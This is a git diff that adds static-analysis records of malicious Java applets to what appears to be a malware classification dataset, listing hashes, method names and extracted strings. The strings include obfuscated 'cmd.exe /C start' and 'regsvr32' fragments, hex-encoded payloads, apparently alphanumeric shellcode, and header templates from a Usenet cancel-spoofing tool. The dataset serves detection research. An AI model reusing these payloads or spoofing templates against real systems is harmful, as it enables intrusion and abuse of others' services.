"F@++@i%++%R@++@R@++@R%++%R@++@R%++%R@++@l%++%e%++%O%++%u%++%t@++@p@++@R%++%R@++@R@++@R%++%R@++@R@++@u@++@t@++@S%++%t@++@r@++@R@++@R@++@R@++@R@++@R%++%R%++%e%++%a%++%m@++@", "I%++%R%++%R@++@R@++@R@++@R@++@R@++@n@++@p@++@R@++@R%++%R@++@R@++@R@++@R%++%u@++@t%++%S@++@R@++@R@++@R@++@R@++@R@++@R%++%t@++@r@++@R@++@R%++%R%++%R%++%R%++%R@++@e%++%a%++%m@++@", "S%++%t%++%r%++%R@++@R@++@R@++@R@++@R@++@R%++%i@++@n%++%g@++@", "S@++@R%++%R@++@R%++%R%++%R%++%R@++@y%++%s%++%t@++@e@++@m@++@", "t%++%m%++%R%++%R%++%R%++%R%++%R%++%R%++%p@++@d@++@i%++%R%++%R%++%R@++@R%++%R%++%R%++%r%++%", "", "[@++@B%++%", "j%++%a%++%R%++%R@++@R%++%R@++@R@++@R@++@v@++@a@++@.%++%n%++%R@++@R@++@R@++@R%++%R@++@R%++%e@++@t%++%.%++%", "j@++@a@++@R@++@R%++%R@++@R%++%R%++%R%++%v%++%a@++@.%++%i%++%R%++%R@++@R%++%R%++%R%++%R%++%o@++@.%++%", "sghdrttewr /.wr egreth/53q4tr,3 ewrgetmrhm.ger,/erw egr,etr/mhtg,?E?R EGR Erg,etmryhtger,we/ rEFGre,thrm.g,rmwe/. frge/thr,hwrmeg.we gret,hgr.E f.g,f/eg.r/myht", "j@++@R%++%R@++@R@++@R@++@R%++%R@++@a%++%v@++@a@++@.%++%l@++@a@++@R%++%R@++@R%++%R%++%R%++%R@++@n%++%g%++%.%++%", "j@++@a@++@R%++%R%++%R%++%R%++%R@++@R%++%v%++%a@++@.%++%l%++%a%++%R%++%R%++%R@++@R%++%R@++@R%++%n@++@g@++@.@++@", "e%++%R%++%R%++%R%++%R%++%R%++%R%++%x@++@e%++%", "d%++%R%++%R@++@R%++%R@++@R%++%R@++@l@++@R%++%R%++%R@++@R%++%R@++@R@++@l@++@", "s%++%v@++@f%++%d@++@_@++@d%++%s@++@", "g%++%e@++@R%++%R%++%R%++%R%++%R%++%R%++%t%++%P@++@r%++%o%++%p@++@R@++@R%++%R%++%R%++%R%++%R%++%e@++@r@++@t@++@y@++@", "S%++%R@++@R%++%R%++%R@++@R%++%R%++%K%++%K%++%K@++@R@++@R@++@R@++@R@++@R%++%R%++%K%++%K@++@K@++@K%++%.%++%", "o@++@R@++@R@++@R%++%R@++@R%++%R%++%p%++%e@++@n@++@C@++@o%++%R%++%R%++%R%++%R@++@R%++%R%++%n%++%n%++%e%++%c@++@R@++@R@++@R@++@R@++@R@++@R%++%t%++%i@++@o%++%n%++%", "o@++@p%++%e%++%n%++%S@++@t@++@r@++@e@++@a%++%m%++%", "c@++@l%++%R%++%R@++@R@++@R%++%R@++@R%++%o%++%s@++@e%++%", "c@++@l%++%o%++%R@++@R%++%R%++%R@++@R%++%R@++@s%++%e@++@", "c@++@m%++%R@++@R%++%R@++@R@++@R%++%R%++%d%++%.%++%R%++%R%++%R@++@R@++@R@++@R@++@e@++@x%++%e@++@R@++@R@++@R@++@R@++@R@++@R@++@ @++@/@++@R@++@R%++%R%++%R%++%R%++%R@++@C@++@ @++@s%++%R@++@R%++%R@++@R@++@R@++@R%++%t%++%a@++@r@++@R@++@R%++%R%++%R%++%R%++%R@++@t%++% @++@", "r@++@R%++%R%++%R%++%R@++@R@++@R@++@e%++%g%++%s@++@v@++@R@++@R@++@R@++@R%++%R%++%R%++%r@++@3@++@R%++%R%++%R@++@R@++@R%++%R@++@2%++%.%++%e%++%x%++%R%++%R%++%R%++%R@++@R%++%R%++%e@++@ @++@/%++%R@++@R@++@R@++@R%++%R@++@R@++@s%++% @++@"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6a7555ec9257147b03110a9bf4808180d1abd693", "file_name": "java_malicious/6b53f496cc7ebea3ea61dc2a9ab3db4f91ea99ce73244cf3fd2127b995ae6026", "_id": "824e57be-0894-465c-8eda-9e3e2d5cfdde", "score": 0, "entropy": 5.398744762962272, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5565, "ssdeep": "96:bBw/FlHUd1C/VRp1PpEn1yAQ191zSYypy1khj1y1Rh0G0RXh0DB11OvN21Gha/aQ:utlHUd1C/VRp1PpEn1yAQ191zSYypy1P", "sha256": "6b53f496cc7ebea3ea61dc2a9ab3db4f91ea99ce73244cf3fd2127b995ae6026", "md5": "b1d62e9ba560a86650da40edb2bdf0e0", "parent_sha256": "6b53f496cc7ebea3ea61dc2a9ab3db4f91ea99ce73244cf3fd2127b995ae6026"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6b8aa76b5b6f960cac777d0249891cc7f2b6ae10a526aedcefad728372e42efd.results b/java_classification/data/malicious/6b8aa76b5b6f960cac777d0249891cc7f2b6ae10a526aedcefad728372e42efd.results new file mode 100755 index 0000000..0f60da5 --- /dev/null +++ b/java_classification/data/malicious/6b8aa76b5b6f960cac777d0249891cc7f2b6ae10a526aedcefad728372e42efd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "tljpjunbjwtqlywm/ucwht", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "hppdedkcfnmuruqpysj", "eulhcbbefkrtfmv", ""], "minor_version": 0, "const_pool_count": 225}}, "_id": "d991bad8-ed36-4c15-a0cb-ae04cac818c2", "verbose": {"java": {"constant strings": ["418171", "rs7g1t3u", "6da8", "jmsuhm", "77b6c0f32fd250538d52", "lsbtbnh", "63b691f063", "dskxewykrmahjeo", "76af88e167", "wjjoasj", "4eba8eea36c5", "pj", "7fa192e463d2", "xdhletidbvc", "78bfd2d80ce7", "popdvc", "468589e62ade516fb9720085da2df25cac", "pmontwiv", "67b491b004c00b7cac6d1c", "obiwom", "60a695fa7b", "ncmvhpwrricsyk", "72a497e76fd10a60bf78068cd36fdb0bb446", "uamoijyifv", "7db086eb2fc101", "ygykhgdyoiu", "6da79fe264de196b", "jbe", "61a68ef1278b3b74aa4115", "ypklvmlrjmj", "76a888e22dd8166a", "iamxvyon", "7bb8", "wxysbfgw", "7d", "trkd", "74b692e661cd05", "sshngvvnjmduwkn", "62a087f33bc95451a2", "lqysgxlkkcwqitl", "6bb28beb6acc026ab579028ed277c315bc4190", "lwqc", "6ab98fe332e61d7eab711a", "dijetjdyfdnxmst", "6eae9efe6adc147ea8", "ikdvlggwqpibhy", "6aba8dfe62f41d6bb8670c89dd36eb32a75b861be8560cdf94", "uwundlnsyrecswg", "72a88adf2dde05", "xirdpxgtf", "76a281", "rkhi", "78", "pikbpidgeaibghf", "71a997", "dhxofekxj", "6fa383ff64ce067cb32a259cdb37e405", "hfywbjqxxxlqnp", "shmc4uge1adua4lg6y7knh"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8b0f1e4f4d0fe5ceccf72e9bc10ac343a725f443", "file_name": "java_malicious/6b8aa76b5b6f960cac777d0249891cc7f2b6ae10a526aedcefad728372e42efd", "_id": "d991bad8-ed36-4c15-a0cb-ae04cac818c2", "score": 0, "entropy": 5.975005762332567, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3440, "ssdeep": "96:Gpt52hP6csJTk0xDBX7b1hC/hdHjRoKtRl69:k52TsJTkaDRHGnVHlk", "sha256": "6b8aa76b5b6f960cac777d0249891cc7f2b6ae10a526aedcefad728372e42efd", "md5": "5a85e51fc82c96d494c8d9574b1bb1c8", "parent_sha256": "6b8aa76b5b6f960cac777d0249891cc7f2b6ae10a526aedcefad728372e42efd"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6bb0c75b3fb5a31ef42b2e6abdb3f0eaea9b18a0dd52afa6a68a9509fe86342d.results b/java_classification/data/malicious/6bb0c75b3fb5a31ef42b2e6abdb3f0eaea9b18a0dd52afa6a68a9509fe86342d.results new file mode 100755 index 0000000..ed1bbeb --- /dev/null +++ b/java_classification/data/malicious/6bb0c75b3fb5a31ef42b2e6abdb3f0eaea9b18a0dd52afa6a68a9509fe86342d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "NewsCancel", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "sourcefile": "NewsCancel.java", "method_names": ["makePoster", "makePoster", "breakPoster", "remakePoster", "buildList", "buildList", "changeMessageID", "GroupFieldGotFocus", "sendLine", "PauseButtonClicked", "AbortButtonClicked", "MsgidListGotFocus", "countDown", "checkResurrect", "FromListGotFocus", "SuperCedeEvent", "postCancels", "showStatus", "appendStatus", "remakeConnections", "makeConnections", "breakConnections", "doGroup", "redoGroup", "yielding", "abortNewsCancel", "doXhdr", "removeGroup", "checkIT", "changeBeforeAt", "fatal", "doPosting", "hideNewsCancel", "doSlide", "pausing", "doXhdrMessageID", "makeMessageID", "SlideButtonClicked", "SuperCedeConstructor", "StatusLineGotFocus", "PostFieldGotFocus", "ScanFieldGotFocus", "action", "run", "pauseCancelAgent", "autoPathTail", "AvoidButtonClicked", "handleEvent", "uncaughtException", "stop", "createArticles", "sendControl", "spoofServers", "SuperCedeStop", "remakeArticle", "makeDate", "strSub", "setupCancel", "pauseNewsCancel", "start", "makeScanner", "makeScanner", "breakScanner", "remakeScanner", "doXhdrFrom", "updateLabels", "doListActive", "SSpeedFieldGotFocus", "PSpeedFieldGotFocus", "lostConnection", "", "abortCancelAgent", "waiting", "", "extractHost", "selectedExit", "cleanWhite", "SuperCedeStart"], "minor_version": 3, "const_pool_count": 2657}}, "_id": "33adb73f-c2cd-44bb-ad36-ad235591e043", "verbose": {"java": {"constant strings": ["connect: ", "connecting", "200", "201", "posting not allowed", "4", "too many connections", "6", "authenticating ", "authinfo user ", "666", "381", "503", "authinfo pass ", "281", "user/pass rejected", ",", ".txt", "cancel.", "<", "@", ">", " will PAUSE at next opportunity.", "Click ABORT again, to kill this ", " in ", " seconds.", "0", "locating article #", "GROUP ", "XHDR Message-ID ", "-", "221", "resurrect XHDR failure.", ".", "resurrecting article #", "article #", " is on spool", "cancelling ", "Hit Nothing.", "Hit Everything!", "duplicate message ID.", "need authorization", ", some fucked up response.", "0.0", "avoid ", "ignore ", "cancel post average = ", " seconds/cancel", "get ARTICLE NUMBERS for ", "480", "211", "first time for ", " is empty.", " has ", " article(s).", " not reGROUPing.", "XHDR ", " ", "get ", " headers", " headers: ", "% complete", "skip own article #", "EMPTY ", " for #", " NOT FOUND!", "header load average = ", " headers/second", "removing ", "no more newsgroups to process.", "equals", "does not equal", "contains", "does not contain", "ends with", "does not end with", "begins with", "does not begin with", ", ", "", "", "send article #", "IHAVE ", "POST", "440", "500", "502", "482", "335", "340", "auto", "MIME-Version: 1.0", "Content-Type: multipart/mixed; boundary=\"", "\"", "\\r\\n--", "Content-Type: text/html; charset=us-ascii", "Content-Type: text/plain; charset=us-ascii", "Content-Transfer-Encoding: 7bit", ".html", "Content-Disposition: inline; filename=\"", "Content-Base: \"file:///C|/", "", "\\\\", "/", "send article body...", "\\r\\n", ".htm", ".vcf", "send ", "...", "begin 666 ", "--", "Content-Transfer-Encoding: base64", "`", "end", "sent article #", ", waiting for reply...", "235", "240", "next post", "Click PAUSE again, to restart ", "", "", "X-Trace: newsread.com ", " (", ")", "NNTP-Posting-Date: ", "Organization: Net Access (netaxs.com)", "dejanews.com", "Organization: Deja News - The Leader in Internet Discussion", "X-Article-Creation-Date: ", "X-Http-User-Agent: (Macintosh; I; 68K)", "X-Http-Proxy: 1.1 x", ".dejanews.com:80 (Squid/1.1.22) for client ", "exit109.com", "X-Trace: news1.exit109.com ", "mediaone.net", ".ne.mediaone.net ", "msfc.nasa.gov", "X-PGP-Key-ID: 0x", "X-Complaints-To: abuse@news.msfc.nasa.gov", "X-Trace: news.msfc.nasa.gov ", " (none) ", "news.replay.com", "X-NNTP-Posting-Host: basement.replay.com [194.109.9.44]", "X-XS4ALL-Date: ", "X-To: mail2news@basement.replay.com", "Remailed-By: Anonymous Remailer ", "X-Mailer: AnonPost. Post anonymously to Usenet.", "X-Mail2News-Info-Url: http://www.replay.com/mail2news/", "X-Mail2News-Error-To: abuse@replay.com", "replay.com", "X-001: Replay may or may not approve of the content of this posting", "X-002: Report misuse of this automated service to ", "X-URL: http://www.replay.com/remailer/", "prodigy.com", "X-Auth-User: ", "X-Post-Time: ", "X-Problems-To: abuse@prodigy.com", "mail2news.demon.co.uk", "X-Trace: mail2news.demon.co.uk ", " mail2news:", " mail2news mail2news.demon.co.uk", "X-Complaints-To: abuse@demon.net", "X-Mail2News-Path: news.demon.net!", ".NET", "demon.co.uk", "X-NNTP-Posting-Host: ", ".demon.co.uk:", "X-Trace: news.demon.co.uk ", "nnrp-", " NO-IDENT ", "psi.net", "grid.net", "fluffy.meow.org", "X-Server-Date: ", "best.com", "erols.com", "X-Trace: winter.news.erols.com ", "X-Complaints-To: abuse@rcn.com", "ubc.ca", ".cs.ubc.ca ", "X-Complaints-To: usenet@cs.ubc.ca", "X-Operating-System: SunOS 5.6 Generic_105181-05", "uswest.net", "X-Report: Report abuse to abuse@uswest.net", ", ddialup", ".uswest.net", "netcom.com", "X-NETCOM-Date: ", "global-one.at", "slurp.net", "X-Trace: newsfeed.slurp.net ", "newsfeeds.com", "X-Authenticated-User: ", "X-Report: Report abuse to abuse@newsfeeds.com", "X-Abuse-Info: Please be sure to forward a copy of ALL headers, INCLUDING the body", "X-Abuse-Info2: Otherwise we will be unable to process your complaint properly", "Organization: Newsfeeds.com http://www.newsfeeds.com 73,000+ UNCENSORED Newsgroups.", "gte.net", "X-Trace: +", "X-Complaints-To: abuse@gte.net", "X-Abuse-Info: Please be sure to forward a copy of ALL headers", "X-Abuse-Info: Otherwise we will be unable to process your complaint properly", "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "#fromhost", "#from", "#sender", "#subject", "#organ", "#appr", "#group", "#msgid", "#scan", "#post", "#RANDOM", "#random", "#randnum", "#rand1", "#rand2", "#rand3", "#rand4", "#rand5", "#randpgp1", "#randpgp2", "==", "#randpgp3", "=", "#randhex", "#RANDHEX", "#randlower", "#randupper", "#randalph", "#randip", "#randbi", "#randhost", "#RANDHOST", "#randsent", "#randline", "#randname", "#randfirst", "#firstlow", "#islam", "#canlock", "#date", "Control: ", "$>", "Supersedes: ", "References: ", "cancel ", "cmsg cancel ", " is initializing.", "2", "XHDR From ", "get FROM headers", "get FROM headers: ", "find group(s): ", "LIST ACTIVE ", "215", "can\\'t post to ", "number of newsGroups found = ", "proxy error", " thread #", " is initializing...", "This is the Java object code for HipCrime\\'s ControlAgent.", "World rights reserved (c) 1998-2001 Use by permission only.", "ControlAgent (v1.10)", "From: from@format.err", "Sender: sender@format.err", ": ", "QUIT", "connection failed", "reconnect: ", "disconnected", "disconnecting from ", ", no wildcard support.", ", refused to post.", "can\\'t fetch ", ", not responding.", "retrying ", ", connection rejected.", ", posting not allowed.", ", authorization required.", ", proxy chain exhausted.", ", rejected article.", "1 Message-ID to cancel:", "No Message-IDs to cancel:", " Message-IDs to cancel:", "1 return address:", "No return addresses:", " return addresses:", "Message-ID: ", "Subject: ", "Subject", "Organization: ", "Organization", "From: ", "Newsgroups: ", "Newsgroups", "Sender: ", "Approved: ", "Approved", "Date: ", "X-Trace: ", "References", "Path: ", "Path", "From header", "Message-ID header", "Subject header", "Approved header", "Organization header", "Path header"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "75b636936aab2eef07f0e6649096cf7cca04395d", "file_name": "java_malicious/6bb0c75b3fb5a31ef42b2e6abdb3f0eaea9b18a0dd52afa6a68a9509fe86342d", "_id": "33adb73f-c2cd-44bb-ad36-ad235591e043", "score": 0, "entropy": 6.32516045397469, "libmagic": "compiled Java class data, version 45.3", "file_size": 64690, "ssdeep": "1536:jhaD5jj7uQFLlIB55/K+faHVz4miTQAt7zlA6m:27uQ169K+faHiTr/Jm", "sha256": "6bb0c75b3fb5a31ef42b2e6abdb3f0eaea9b18a0dd52afa6a68a9509fe86342d", "md5": "e9529a9d777e9ae183b2790bddba9e6a", "parent_sha256": "6bb0c75b3fb5a31ef42b2e6abdb3f0eaea9b18a0dd52afa6a68a9509fe86342d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6bdedc6dd44687b49ad6b23741c7754ff65e9b1ab540c731251632ae8807545d.results b/java_classification/data/malicious/6bdedc6dd44687b49ad6b23741c7754ff65e9b1ab540c731251632ae8807545d.results new file mode 100755 index 0000000..648f2a2 --- /dev/null +++ b/java_classification/data/malicious/6bdedc6dd44687b49ad6b23741c7754ff65e9b1ab540c731251632ae8807545d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/cnaqxrbbopeahqn", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "qnjqdgil", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "c5a6ed1d-74b4-48ca-b2ff-dd47a781dfc2", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f3f1802304606d564602d18b0c6edfc0f5d35840", "file_name": "java_malicious/6bdedc6dd44687b49ad6b23741c7754ff65e9b1ab540c731251632ae8807545d", "_id": "c5a6ed1d-74b4-48ca-b2ff-dd47a781dfc2", "score": 0, "entropy": 5.210038036759764, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6941, "ssdeep": "96:KMHnguCnstcKcjTA3rM4pro8pSF2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:THbgst2AI4tp4xhi/To55UTYwa5hGX1", "sha256": "6bdedc6dd44687b49ad6b23741c7754ff65e9b1ab540c731251632ae8807545d", "md5": "7d7c5c23708a0e8468362bb4fee055bc", "parent_sha256": "6bdedc6dd44687b49ad6b23741c7754ff65e9b1ab540c731251632ae8807545d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6ca44fd325530ee2226ad95a5068ca9c193c1be5e9d15c7406ea03a4bfd92310.results b/java_classification/data/malicious/6ca44fd325530ee2226ad95a5068ca9c193c1be5e9d15c7406ea03a4bfd92310.results new file mode 100755 index 0000000..24adda4 --- /dev/null +++ b/java_classification/data/malicious/6ca44fd325530ee2226ad95a5068ca9c193c1be5e9d15c7406ea03a4bfd92310.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Class3.java", "class_name": "Class3", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "decode_str", "char_at", "get_func", "invoke", "string_to_bytes", "load"], "minor_version": 0, "const_pool_count": 164}}, "_id": "c81784ef-b6f1-4196-9ab7-dfaaf172433e", "verbose": {"java": {"constant strings": ["89809264898E8F7C897E80", "81848780554A4A4A", "D004C0C406060636068D100632063D10063E063F0D064010064106420E06430E064410064106450D06460D06470E0648100649064A10060F064B10060F064C10060E064D0D064E100615063D0D064F0D06500D0651100619063D0E0652100641065310061906540E06551006190656100618064B100617065710060E06580E065910065A065B0E065C0E065D0E065E100615065F10061506601006150661100617065F10060E06611006170661100662066310066206640D06650D06660D06670D066807060C426F746F7A440706092E2F5C07060A49756A6B070615526F746B547B73686B785A6768726B070609787B7407061A2E2F5270677C67357267746D355568706B697A410706104B7E696B767A6F75747907061059757B78696B4C6F726B07061149726779793A3470677C6712063406350D066912066A066B07062D70677C6735796B697B786F7A7F3556786F7C6F726B6D6B6A47697A6F75744B7E696B767A6F75740D066C12066D066E0706146E7A7A7634716B6B7667726F7C6B07060B6C6772796B12066F067007062170677C67356F7535487B6C6C6B786B6A4F74767B7A597A786B677307061270677C6735746B7A355B5852070706", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "262626262626262626262626262626262626262626264E5A5A76403535797A67", "7A6F6979726F797A34697573356A3A4D4F6D553A39683D7F7D5B355360736E71", "0D0671120672067312063406741206750676120634067707062370677C67356F7535487F7A6B477878677F557B7A767B7A597A786B677307062270677C67356F7535487B6C6C6B786B6A557B7A767B7A597A786B677307061E70677C67356F75354C6F726B557B7A767B7A597A786B677307061C70677C67357267746D35597A786F746D487B6C6C6B7807060A5A4B5356120678067912067A067B07060E35737578346B7E6B12067C0673120634067D12067E067F07060B", "3636363A3D", "0D0680120681068207060B", "3636363B38", "07060B", "3636373837", "3636363B37", "1206830684120685068612068706350D0688120689068A12068B068C07061970677C67357267746D354B7E696B767A6F757407060C49726779793A07061670677C67357267746D355568706B697A07062D70677C6735796B697B786F7A7F3556786F7C6F726B6D6B6A4B7E696B767A6F757447697A6F757407062470677C6735796B697B786F7A7F354769696B79794975747A787572726B780706126A7556786F7C6F726B6D6B6A0706432E5270677C6735796B697B786F7A7F3556786F7C6F726B6D6B6A4B7E696B767A6F757447697A6F7574412F5270677C67357267746D355568706B697A4107061670677C67357267746D35597F797A6B73070618796B7A596B697B786F7A7F536774676D6B780706242E5270677C67357267746D35596B697B786F7A7F536774676D6B78412F5C070611796B7A567875766B787A7F07063E2E5270677C67357267746D35597A786F746D415270677C67357267746D35597A786F746D412F5270677C67357267746D35597A786F746D4107061670677C67357267746D35597A786F746D07060A7A786F7307061A2E2F5270677C67357267746D35597A786F746D4107061B2E5270677C67357267746D35597A786F746D412F5C07061075766B74597A786B677307061D2E2F5270677C67356F75354F74767B7A597A786B67734107061E2E5270677C67356F75354F74767B7A597A786B6773412F5C07060C6D6B7A6B747C07062C2E5270677C67357267746D35597A786F746D412F5270677C67357267746D35597A786F746D4107060C6776766B746A0706322E5270677C67357267746D35597A786F746D412F5270677C67357267746D35597A786F746D487B6C6C6B784107060E7A75597A786F746D0706202E5270677C67356F7535557B7A767B7A597A786B6773414F2F5C07060A786B676A07060D2E61484F4F2F4F07061770677C67357267746D354F747A6B6D6B7807060E766778796B4F747A07061B2E5270677C67357267746D35597A786F746D412F4F07060B7D786F7A6B07060D2E61484F4F2F5C0706117A75487F7A6B477878677F07060A2E2F614807060B697275796B07061770677C67357267746D35587B747A6F736B0706106D6B7A587B747A6F736B07061B2E2F5270677C67357267746D35587B747A6F736B4107060A6B7E6B6907062D2E5270677C67357267746D35597A786F746D412F5270677C67357267746D35567875696B79794106270631063206070633060606080607063406350607063606060644060706080606061430BD060730BE06085DAD060A52B70607060A060F06120609060706370606061C060B06060610060A0613060F06180612061506130619060706380639060806360606082B060C06120606077B07BE060A170A06C20E52094309440A3C0A180B180CBE060D5DC1060E5FC1060F5F1810BC0611BD0612BC0613BD0614400BC106155FBD0616400CC106175FC106185FC106195FBD061A181BBE061CBC061D181EBC061DBC061FBD0620170A06BD0621400D1F0B3109170A06BC06225F43A1068723226644093C0E1B0E22A8066F23226A1B0E660D76A00619311B0E62391823BE062488975AAD064E23226A1B0E660D760AA60619311B0E62391825BE062488975AAD063223226A1B0E660D760BA60619311B0E62391826BE062488975AAD0616311B0E62391827BE062488975A8A0E07AD059D1F0C310922BC0628AD057C093C0E1F0CBC0629400F1F0CBC062A1F0FC43C10093C111B111B100B72A806311F0F1B11393C0E1F0F1B111F0F1B101B116A0A6A395A1F0F1B101B116A0A6A1B0E5A8A1107AD05D81F0D1F0F091B10BC062B1F0BBC062C1F0DBC062DBE062E40111F11C106195FBD061A181BBE061CBC061D181EBC061DBC061FBC062F5DAD060A5207B60607060A077507780630060706370606069C062B0606061D060A0620061006210614062206170623061F06240637062506400626066A062706790629067D062A0686062C0691062E06A1063006AD063206BD063406C9063606D9063A06E6062A06EC063D06F7063F06FA06400601064107060642070B064307170645071E0646072D064707390643073F06490749064A074E064B0753064C0758064D077506520778064F07790653063A0606060A060706300607063B06060608063C"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2e5fa1580e6011d85ae75c72ad9a241259829353", "file_name": "java_malicious/6ca44fd325530ee2226ad95a5068ca9c193c1be5e9d15c7406ea03a4bfd92310", "_id": "c81784ef-b6f1-4196-9ab7-dfaaf172433e", "score": 0, "entropy": 5.15642180948426, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7642, "ssdeep": "192:6l7pCc3J8aaaaazXsjIPk/FQ6yZGy23l1:6lkcJkdVR/V1", "sha256": "6ca44fd325530ee2226ad95a5068ca9c193c1be5e9d15c7406ea03a4bfd92310", "md5": "2323ebff3b938d95f29f4de2e77dcc6a", "parent_sha256": "6ca44fd325530ee2226ad95a5068ca9c193c1be5e9d15c7406ea03a4bfd92310"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6d4d44da1e227b6fcf2a898879b798bca14652d58a03e38daeb3f2d15ea00f41.results b/java_classification/data/malicious/6d4d44da1e227b6fcf2a898879b798bca14652d58a03e38daeb3f2d15ea00f41.results new file mode 100755 index 0000000..969dd3f --- /dev/null +++ b/java_classification/data/malicious/6d4d44da1e227b6fcf2a898879b798bca14652d58a03e38daeb3f2d15ea00f41.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "75c54572-7ba9-4a81-be81-bf3c6e5c1699", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pn,pn,pl,Pl,Pl,Pl,Pl,PY,yK,Ke,P5,Pw,pS,oa,to,Qv,P5,PU,Pg,pL,K1,PV,lN,kp,pw,lN,ML,Kp,he,pm,Pc,M4,Le,cR,TT,Cm,Fx,kL,3l,Kp,hv,hn,kH,wS,Zw,tr,yK,XN,oG,pu,PW,pK,RK,IQ,xb,Ob,NW,pU,Ps,XQ,eQ,b2,Lp,m2,tK,OV,vN,kK,XM,84,93,0W,pu,PL,KX,W7,7O,pG,Ow,pc,Ex,zs,wR,w1,Wo,pg,Og,p4,5K,Jn,kz,O3,ot,sX,In,aZ,L5,TE,Qu,P5,PL,KK,ls,a2,rs,cq,xU,TS,1E,Pg,py,o1,FV,l1,J6,9V,1a,Bn,kU,R2,sW,3O,pg,K7,pp,uX,zM,QQ,kY,lf,N0,et,8P,e2,UG,so,sh,kW,xm,YF,cX,Gb,c5,Tt,nc,U2,XP,eK,vS,sS,87,p1,KN,jz,a6,dv,Pm,Xq,Uw,pF,Sy,P0,P0,Pq,CQ,Gp,PK,Os,fD,Po,sL,8e,Pp,uU,Vs,Zw,q0,SY,or,v5,Tb,zP,YO,sO,2t,DS,qO,pd,zG,pD,5l,tK,Op,VW,xP,QQ,Fl,Kb,UW,LN,kC,Dv,US,H5,SY,eV,6L,Ka,fU,pw,s9,eP,3K,yw,9c,ql,mG,sK,uE,c9,K6,om,nB,0W,H9,bD,44,HK,qh,Kt,Mu,SK,jW,0Z,Ky,a5,ku,Op,uM,7a,NL,Kc,nQ,4W,sY,MR,Fl,K4,LP,Kn,k1,Nw,lS,3K,mn,kf,dL,K4,Cz,en,KQ,Nb,y8,CH,hE,PI,ok,OK,OL,NP,NV,nZ,LN,xY,nl,JT,N3,NJ,xm,2Q,cT,sy,Zn,ja,Kv,V6,z4,oP,p4,8B,mp,er,XW,pa,xT,4p,t0,pU,jt,ov,O0,eP,xT,4B,Er,R2,N0,aP,lf,NS,YE,7r,N2,Or,RQ,uP,lc,YR,Sd,4T,ns,S2,O0,mv,Op,ir,Nq,v0,ot,oP,uS,Cd,q6,N1,xP,tR,Mr,Lf,OP,nT,pt,pU,1e,aF,P6,Ve,bD,pV,Qv,S5,ap,8B,RT,pD,p4,pP,cc,zT,pu,5T,p0,0p,07,FP,0p,10,Rf,Sp,8u,6U,5T,ye,c5,30,1R,ws,US,SV,UF,VT,yP,fv,RT,ws,hr,Ds,Qp,93,UT,tp,7Q,vV,Xr,yD,yp,1u,dp,30,fS,TT,t4,v1,Jp,0p,16,P6,P3,V6,PE,hv,Pw,pu,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b58ccbc24e12df7f4bc670f6a780cdcffa39c4fe", "file_name": "java_malicious/6d4d44da1e227b6fcf2a898879b798bca14652d58a03e38daeb3f2d15ea00f41", "_id": "75c54572-7ba9-4a81-be81-bf3c6e5c1699", "score": 0, "entropy": 5.990103035947581, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3117, "ssdeep": "48:4vVk0yFlfe9rGPNsC6DseZqdrJk2Lo5GUFwIsFlXRkHccQjtZtgobKqgs5qxpJ:hFFlGGPNenZ6rJkvRxC92XQjt9bKsCn", "sha256": "6d4d44da1e227b6fcf2a898879b798bca14652d58a03e38daeb3f2d15ea00f41", "md5": "55c05a97db4641284df44ec230106eb9", "parent_sha256": "6d4d44da1e227b6fcf2a898879b798bca14652d58a03e38daeb3f2d15ea00f41"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6dce4dc3dbcf50c6f3bfce2969079aa9bd9a1cc1607bb2b428248d7e8d667671.results b/java_classification/data/malicious/6dce4dc3dbcf50c6f3bfce2969079aa9bd9a1cc1607bb2b428248d7e8d667671.results new file mode 100755 index 0000000..f3c2855 --- /dev/null +++ b/java_classification/data/malicious/6dce4dc3dbcf50c6f3bfce2969079aa9bd9a1cc1607bb2b428248d7e8d667671.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "3beb7e38-6556-4ef7-9a3b-4b96151840a2", 